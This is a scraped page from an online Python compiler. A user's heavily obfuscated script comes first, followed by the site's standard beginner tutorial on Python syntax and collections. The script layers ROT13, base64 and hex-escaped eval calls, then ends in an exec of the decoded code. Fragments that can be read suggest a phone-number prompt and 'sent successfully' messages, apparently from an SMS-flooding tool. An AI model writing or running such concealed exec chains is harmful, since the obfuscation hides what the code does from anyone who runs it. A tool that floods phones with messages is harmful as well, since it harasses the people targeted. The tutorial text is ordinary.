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' joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))
Write, Run & Share Python code online using OneCompiler's Python online compiler for free. It's one of the robust, feature-rich online compilers for python language, supporting both the versions which are Python 3 and Python 2.7. Getting started with the OneCompiler's Python editor is easy and fast. The editor shows sample boilerplate code when you choose language as Python or Python2 and start coding.
OneCompiler's python online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample python program which takes name as input and print your name with hello.
import sys
name = sys.stdin.readline()
print("Hello "+ name)
Python is a very popular general-purpose programming language which was created by Guido van Rossum, and released in 1991. It is very popular for web development and you can build almost anything like mobile apps, web apps, tools, data analytics, machine learning etc. It is designed to be simple and easy like english language. It's is highly productive and efficient making it a very popular language.
When ever you want to perform a set of operations based on a condition IF-ELSE is used.
if conditional-expression
#code
elif conditional-expression
#code
else:
#code
Indentation is very important in Python, make sure the indentation is followed correctly
For loop is used to iterate over arrays(list, tuple, set, dictionary) or strings.
mylist=("Iphone","Pixel","Samsung")
for i in mylist:
print(i)
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while condition
#code
There are four types of collections in Python.
List is a collection which is ordered and can be changed. Lists are specified in square brackets.
mylist=["iPhone","Pixel","Samsung"]
print(mylist)
Tuple is a collection which is ordered and can not be changed. Tuples are specified in round brackets.
myTuple=("iPhone","Pixel","Samsung")
print(myTuple)
Below throws an error if you assign another value to tuple again.
myTuple=("iPhone","Pixel","Samsung")
print(myTuple)
myTuple[1]="onePlus"
print(myTuple)
Set is a collection which is unordered and unindexed. Sets are specified in curly brackets.
myset = {"iPhone","Pixel","Samsung"}
print(myset)
Dictionary is a collection of key value pairs which is unordered, can be changed, and indexed. They are written in curly brackets with key - value pairs.
mydict = {
"brand" :"iPhone",
"model": "iPhone 11"
}
print(mydict)
Following are the libraries supported by OneCompiler's Python compiler
Name | Description |
---|---|
NumPy | NumPy python library helps users to work on arrays with ease |
SciPy | SciPy is a scientific computation library which depends on NumPy for convenient and fast N-dimensional array manipulation |
SKLearn/Scikit-learn | Scikit-learn or Scikit-learn is the most useful library for machine learning in Python |
Pandas | Pandas is the most efficient Python library for data manipulation and analysis |
DOcplex | DOcplex is IBM Decision Optimization CPLEX Modeling for Python, is a library composed of Mathematical Programming Modeling and Constraint Programming Modeling |